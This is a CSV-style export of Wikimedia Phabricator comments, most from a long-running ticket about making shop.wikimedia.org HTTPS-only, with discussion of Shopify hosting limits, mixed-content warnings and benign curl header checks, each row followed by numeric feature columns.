+193949,https does not show Wikimedia Error page,"Good steps to reproduce welcome (URLs!), as I don't remember ""the outage today"" from three months ago...",,,1353164893,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,True,,,-41,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+39790,shop.wikimedia.org should be HTTPS only,"Currently <https://shop.wikimedia.org> doesn't work at all. Ideally <http://shop.wikimedia.org> would unconditionally redirect to <https://shop.wikimedia.org>.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: https://shop.wikimedia.org/
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=61528",High,80.0,1340296980,1456529046.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-TASK-o5cnwjimr2r67t7idozw,task_description,resolved,True,c2,1,True,True,False,-62,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+618857,shop.wikimedia.org should be HTTPS only,cool :) that's great,,,1456529085,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,130,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+618856,shop.wikimedia.org should be HTTPS only,"This looks fixed now. Thanks, all!
+
+```
+$ curl -Is ""http://shop.wikimedia.org/"" | grep Location
+Location: https://shop.wikimedia.org/
+```
+```
+$ curl -Is ""https://shop.wikimedia.org/"" | grep Location
+Location: https://store.wikimedia.org/
+```
+```
+$ curl -Is ""https://store.wikimedia.org/"" | head -1
+HTTP/1.1 200 OK
+```",,,1456529046,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,130,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1
+618824,shop.wikimedia.org should be HTTPS only,"Hmm good point @PPena, I haven't actually checked on this since the store was redesigned. I know there used to be an issue with the customer login during checkout, but it looks like that is all https now.",,,1456526223,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,130,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,1
+618797,shop.wikimedia.org should be HTTPS only,"@MZMcBride @Chmarkine can you chime in and show the remaining issues to @Ppena ?
+
+@CCogdill_WMF i don't know of any hard deadlines, it's just that this ticket has been created back in 2012 and still couldn't be fully fixed, as far as i can tell",,,1456523738,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,130,True,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0
+618795,shop.wikimedia.org should be HTTPS only,"@MZMcBride @Chmarkine can you chime in and show the remaining issues to @Ppena ?
+
+@CCogdill_WMF i don't of any hard deadlines, it's just that this ticket has been created back in 2012 and still couldn't be fully fixed, as far as i can tell",,,1456523724,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,130,True,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0
+618790,shop.wikimedia.org should be HTTPS only,"@CCogdill_WMF  I'm not sure what you mean, I see https throughout the entire flow of the store? Could you confirm?
+
+{F3433869}{F3433871}",,,1456522829,,PHID-USER-6k6aily3dvmwhkh54ont,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,130,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+618361,shop.wikimedia.org should be HTTPS only,"I'm not sure if anyone currently at the Store is aware of this task. Adding @Ppena.
+
+@Dzahn are there any hard deadlines on this?",,,1456446821,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,130,True,1,1,0,0,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0
+616923,shop.wikimedia.org should be HTTPS only,"shop.wikimedia.org and shop.wikipedia.org point to our Apache cluster:
+
+
+```
+templates/wikipedia.org:shop            600 IN DYNA     geoip!text-addrs
+templates/wikimedia.org:shop             600 IN DYNA     geoip!text-addrs
+
+```
+but only to redirect to store.
+
+
+```
+files/apache/sites/redirects.conf:	ServerAlias shop.wikimedia.org
+files/apache/sites/redirects.conf:	ServerAlias shop.wikipedia.org
+files/apache/sites/redirects.conf:	ServerAlias shop.wikipedia.com
+
+files/apache/sites/redirects.conf:	# funnel	shop.wikimedia.org	//store.wikimedia.org
+..
+files/apache/sites/redirects/redirects.dat:funnel	shop.wikipedia.org	//store.wikimedia.org
+```
+
+store is **external, on shopify.com**
+
+templates/wikimedia.org:store            1H  IN CNAME    c.ssl.shopify.com.
+
+the operations team can't do much here,  this is outside our control. so either shopify fixes it or we have to stop outsourcing and run the shop on our own infrastructure.",,,1456289309,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,130,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+426349,shop.wikimedia.org should be HTTPS only,">>! In T39790#1118420, @Dzahn wrote:
+>>>! In T39790#418198, @Chmarkine wrote:
+>> Is it possible for us to change the ""Return to Store"" link on https://shop.wikimedia.org/account/login page to https://shop.wikimedia.org? It currently links to http://shop.wikimedia.org/ .
+> 
+> @Chmarkine was that a duplicate of T63528?
+
+No. My comment here is about an insecure link URL, whereas T63528 is about HTTPS to HTTP redirect.",,,1426298085,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,80,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1
+426296,shop.wikimedia.org should be HTTPS only,">>! In T39790#418198, @Chmarkine wrote:
+> Is it possible for us to change the ""Return to Store"" link on https://shop.wikimedia.org/account/login page to https://shop.wikimedia.org? It currently links to http://shop.wikimedia.org/ .
+
+@Chmarkine was that a duplicate of T63528?",,,1426291123,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,80,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1
+426295,shop.wikimedia.org should be HTTPS only,">>! In T39790#418202, @Ejegg wrote:
+
+> Thanks for catching that!  I updated that link and the matching one on the registration page, and also fixed the 'added to cart' popup link.
+
+Did you resolve T63528 by updating that link? Is it the same thing?
+",,,1426291084,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,80,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1
+178635,shop.wikimedia.org should be HTTPS only,"Hi chmarkine@hotmail.com,
+
+Thanks for catching that!  I updated that link and the matching one on the registration page, and also fixed the 'added to cart' popup link.",,,1411595306,,PHID-USER-3jrdwh7dywughlcnir2i,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,56,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+178631,shop.wikimedia.org should be HTTPS only,"Is it possible for us to change the ""Return to Store"" link on https://shop.wikimedia.org/account/login page to https://shop.wikimedia.org? It currently links to http://shop.wikimedia.org/ .",,,1411356931,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,55,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,0
+178625,shop.wikimedia.org should be HTTPS only,"OK, found the social media snippets and updated so all are loaded securely and are liking/tweeting/pinning/plusoneing the secure version of the product page.",,,1408131909,,PHID-USER-3jrdwh7dywughlcnir2i,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,50,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+178618,shop.wikimedia.org should be HTTPS only,"I fixed what pages I could, making all links https where the destination supports it, and making the one img tag I saw protocol relative.  I don't see where the share/like buttons are controlled, but I'll take another look.",,,1407988469,,PHID-USER-3jrdwh7dywughlcnir2i,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,50,True,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0
+178610,shop.wikimedia.org should be HTTPS only,"(In reply to MZMcBride from comment #15)
+> (In reply to Elliott Eggleston from comment #13)
+> > This is not possible to fix while the shop is hosted on Shopify.  They don't
+> > offer the option of turning off http, and in certain places, like their
+> > post-login redirect, they automatically send the user to http.
+> 
+> Presumably Shopify has an issue tracker of some kind? Is there an open
+> ticket about this issue (i.e., a store cannot be HTTPS-only currently)?
+
+As noted in my above comments, we have had an open ticket with Shopify about this since February 2014. Thus far they have been unable to allocate resources for a fix, but we are continuing to ask for help.
+> 
+> > Unless we want to find a new vendor or take on the responsibility of hosting
+> > our own ecommerce site, this is a WONTFIX.
+> 
+> This is a bit of a false dichotomy. Let's get Shopify to fix their code. :-)
+> If Shopify really can't support an HTTPS-only site in 2014, then it makes
+> more sense to reëvaluate using them as a vendor than it does to close this
+> ticket. For sure.
+
+This is certainly something we can look into, however with limited resources, the Shop has priorities that weigh heavier than this one, mainly in finding and moving to a new fulfillment partner. We can keep this bug open in the interim, but I just want to manage expectations about timing, as switching to a new vendor would require months of planning and integration.",,,1407362164,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,49,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+178601,shop.wikimedia.org should be HTTPS only,"(In reply to jeremyb from comment #11)
+> https://shop.wikimedia.org/ seems ok. or not, now is 502. and now fixed
+> again?
+> 
+> some outstanding issues:
+> 
+> * make links from pages like https://shop.wikimedia.org/pages/privacy-policy
+> (and other pages like https://shop.wikimedia.org/pages/about-wikimedia ) to
+> WMF wikis or other parts of the shop site use HTTPS (or protorel)
+> * https://shop.wikimedia.org/products/wikipedia-globe-sweats has
+> mixed-content warnings and also probably violates the site's privacy policy
+> (3rd-party cookies that are not really necessary) and when loading the
+> facebook widget passes in a URL as param with HTTP as protocol (not HTTPS)[0]
+> * fonts pulled from google rather than WMF or shopify. (again, possible
+> privacy policy violation? CC luis to look into these parts)
+> * https://shop.wikimedia.org/account/register POSTs to HTTPS and then (if
+> e.g. you submit a blank form or have some other error) sends you a 302 to
+> the cleartext (HTTP) site.
+> 
+> [0]
+> Blocked loading mixed active content
+> ""http://platform.twitter.com/widgets.js"" @
+> https://shop.wikimedia.org/products/wikipedia-globe-sweats
+> Blocked loading mixed active content
+> ""http://assets.pinterest.com/js/pinit.js"" @
+> https://shop.wikimedia.org/products/wikipedia-globe-sweats
+> GET
+> https://www.facebook.com/plugins/like.php?href=http://shop.wikimedia.org/
+> products/wikipedia-globe-
+> sweats&send=false&layout=button_count&width=120&show_faces=false&action=like&
+> colorscheme=light&font&height=21 [HTTP/1.1 200 OK 405ms]
+
+Thank you for this post.
+
+Elliot/Victoria: if you could take a look at these issues and file tickets and speak to the legal team, that would be great. There are a few discrete issues here all of which should be addressable.",,,1407290369,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,49,True,1,0,0,0,1,1,1,0,0,1,1,1,1,0,1,0,0,1,1,0,1,1,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+178592,shop.wikimedia.org should be HTTPS only,"(In reply to Elliott Eggleston from comment #13)
+> This is not possible to fix while the shop is hosted on Shopify.  They don't
+> offer the option of turning off http, and in certain places, like their
+> post-login redirect, they automatically send the user to http.
+
+Presumably Shopify has an issue tracker of some kind? Is there an open ticket about this issue (i.e., a store cannot be HTTPS-only currently)?
+
+> Unless we want to find a new vendor or take on the responsibility of hosting
+> our own ecommerce site, this is a WONTFIX.
+
+This is a bit of a false dichotomy. Let's get Shopify to fix their code. :-)  If Shopify really can't support an HTTPS-only site in 2014, then it makes more sense to reëvaluate using them as a vendor than it does to close this ticket. For sure.",,,1407290056,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,49,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,1
+178590,shop.wikimedia.org should be HTTPS only,"(In reply to Elliott Eggleston from comment #13)
+> Unless we want to find a new vendor or take on the responsibility of hosting
+> our own ecommerce site, this is a WONTFIX.
+
+Who could/would make a final decision on this, before this ticket ends dormant? :/",,,1407277171,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,48,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+178588,shop.wikimedia.org should be HTTPS only,"This is not possible to fix while the shop is hosted on Shopify.  They don't offer the option of turning off http, and in certain places, like their post-login redirect, they automatically send the user to http.
+
+Unless we want to find a new vendor or take on the responsibility of hosting our own ecommerce site, this is a WONTFIX.",,,1405704957,,PHID-USER-3jrdwh7dywughlcnir2i,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+178586,shop.wikimedia.org should be HTTPS only,"also, the bug is titled ""shop.wikimedia.org should be HTTPS only"".
+
+The bug should be left open until HTTP is no longer supported. (all HTTP requests are redirected to HTTPS. maybe even enable HSTS and HSTS preload)
+
+https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security",,,1405630438,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,46,True,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0
+178584,shop.wikimedia.org should be HTTPS only,"https://shop.wikimedia.org/ seems ok. or not, now is 502. and now fixed again?
+
+some outstanding issues:
+
+* make links from pages like https://shop.wikimedia.org/pages/privacy-policy (and other pages like https://shop.wikimedia.org/pages/about-wikimedia ) to WMF wikis or other parts of the shop site use HTTPS (or protorel)
+* https://shop.wikimedia.org/products/wikipedia-globe-sweats has mixed-content warnings and also probably violates the site's privacy policy (3rd-party cookies that are not really necessary) and when loading the facebook widget passes in a URL as param with HTTP as protocol (not HTTPS)[0]
+* fonts pulled from google rather than WMF or shopify. (again, possible privacy policy violation? CC luis to look into these parts)
+* https://shop.wikimedia.org/account/register POSTs to HTTPS and then (if e.g. you submit a blank form or have some other error) sends you a 302 to the cleartext (HTTP) site.
+
+[0]
+Blocked loading mixed active content ""http://platform.twitter.com/widgets.js"" @ https://shop.wikimedia.org/products/wikipedia-globe-sweats
+Blocked loading mixed active content ""http://assets.pinterest.com/js/pinit.js"" @ https://shop.wikimedia.org/products/wikipedia-globe-sweats
+GET https://www.facebook.com/plugins/like.php?href=http://shop.wikimedia.org/products/wikipedia-globe-sweats&send=false&layout=button_count&width=120&show_faces=false&action=like&colorscheme=light&font&height=21 [HTTP/1.1 200 OK 405ms]",,,1405630275,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,46,True,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+178582,shop.wikimedia.org should be HTTPS only,"I'm making Victoria the assignee on this bug as she is transitioning into the WMF lead on the Shop. I'll also close this ticket, but please let us know if other http issues arise.
+
+Thank you all for reporting this, and thanks Victoria and fundraising tech for the fix!",,,1405628961,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,46,True,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+178579,shop.wikimedia.org should be HTTPS only,"Hi Everyone! My name is Victoria and I am new Fundraising Associate at Wikimedia that will be working on the Wikimedia shop. 
+
+This https issue goes back to 2012 and I hope that we finally fixed it!
+While most pages on Shopify let you edit all of the HTML, the checkout page only lets you use a custom style sheet and translate the text.  We used that to remove the link completely.  
+
+The account login is still on the home page and it's secure. If you see any other instances of http, please let us know! Thank you!",,,1405628779,,PHID-USER-kmvzxnr3vjq47csw3l3v,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,46,True,1,1,1,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+178575,shop.wikimedia.org should be HTTPS only,assigning this to Caitlin for now since I'm no longer involved in the Shop (staying in the CC list since I'm obviously still around and as have time can help where needed),,,1404851667,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,44,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+178573,shop.wikimedia.org should be HTTPS only,"As an update to my comments from February, after extensive follow-up with Shopify and research on their part, they determined they can't seem to fix this problem on their end. The fr-tech team has been asked to look into this, but understandably their resources are primarily allocated elsewhere.
+
+Fundraising is working to move some resources around so that we can get a little more time dedicated to the store and projects like this. I'm sorry I can't give much more information now, but will continue to check in with our tech team to see if they can find a solution.",,,1402935945,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,41,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+178571,shop.wikimedia.org should be HTTPS only,"Just a quick update here, after seeing bug 61528 (can we merge these two? Not sure of the etiquette here) I've gotten in touch with Shopify and confirmed they *can* make this change, but it's going to take some effort. That's all I know as of today, but we've made this highest priority with Shopify as we recognize there's not way we can expect to further publicize the shop without fixing this bug. 
+
+Right now our main focus is on what 61528 discusses: the login page. We'll see if any issue remains after that. I'll update once Shopify gives us an ETA, but please know we're actively pushing for this feature.",,,1393533048,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,26,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0
+178565,shop.wikimedia.org should be HTTPS only,"(In reply to comment #4)
+> There are still some, relatively small, bugs with the https implementation.
+> I will see if setting up to force fixes/hurts these issues and will close
+> this if possible. In the mean while we DO force people to checkout via 
+> https etc.
+
+James: Any updates? Is this ticket still high priority?",,,1366908311,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+178557,shop.wikimedia.org should be HTTPS only,"There are still some, relatively small, bugs with the https implementation. The main one is that it has a weird bug where if you are trying to log into your account from https and screw up your password it redirects you to http for the retry. I still haven't fixed that one yet.
+
+I will see if setting up to force fixes/hurts these issues and will close this if possible. In the mean while we DO force people to checkout via https etc.",,,1345500486,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,1,False,,,-54,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+178550,shop.wikimedia.org should be HTTPS only,"The HTTPS version of the shop is in place as of today, and does not throw a certificate error for me (although the ""Issued To"" field shows Shopify Inc. instead of Wikimedia Foundation, Inc.) 
+
